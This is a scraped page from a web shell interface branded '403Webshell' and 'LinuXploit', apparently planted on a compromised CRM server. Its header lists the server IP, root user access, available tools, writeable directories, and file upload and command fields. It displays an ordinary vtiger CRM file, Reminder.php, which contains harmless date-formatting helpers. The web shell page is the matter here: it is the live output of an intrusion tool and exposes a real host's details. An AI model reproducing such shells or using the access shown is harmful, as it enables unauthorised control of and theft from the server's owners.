403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.55
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/modules/Vtiger/uitypes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/modules/Vtiger/uitypes/Reminder.php
<?php
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

class Vtiger_Reminder_UIType extends Vtiger_Date_UIType {

	/**
	 * Function to get the Template name for the current UI Type object
	 * @return <String> - Template Name
	 */
	public function getTemplateName() {
		return 'uitypes/Reminder.tpl';
	}
    
    /**
	 * Function to get the Detailview template name for the current UI Type Object
	 * @return <String> - Template Name
	 */
	public function getDetailViewTemplateName() {
		return 'uitypes/ReminderDetailView.tpl';
	}
    
    /**
	 * Function to get the Display Value, for the current field type with given DB Insert Value
	 * @param <Object> $value
	 * @return <Object>
	 */
	public function getDisplayValue($value, $record=false, $recordInstance=false) {
        $reminder_value = '';
        $reminder_time = $this->getEditViewDisplayValue($value);
		if(!empty($reminder_time[0])){
			$reminder_value = $reminder_time[0].' '.vtranslate('LBL_DAYS');
		}
		if(!empty($reminder_time[1])){
			$reminder_value = $reminder_value.' '.$reminder_time[1].' '.vtranslate('LBL_HOURS');
		}
		if(!empty($reminder_time[2])){
			$reminder_value = $reminder_value.' '.$reminder_time[2].' '.vtranslate('LBL_MINUTES');
		}
		
		return $reminder_value;
	}
    
    /**
	 * Function to get the display value in edit view
	 * @param $value
	 * @return converted value
	 */
	public function getEditViewDisplayValue($value) {
		if($value != 0 ){
            $rem_days = floor($value/(24*60));
            $rem_hrs = floor(($value-$rem_days*24*60)/60);
            $rem_min = ($value-($rem_days*24*60))%60;
            $reminder_time = array($rem_days , $rem_hrs, $rem_min);
            return $reminder_time;
        }else{
            return '';
        }
	}

	public function getListSearchTemplateName() {
		return 'uitypes/FieldSearchView.tpl';
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit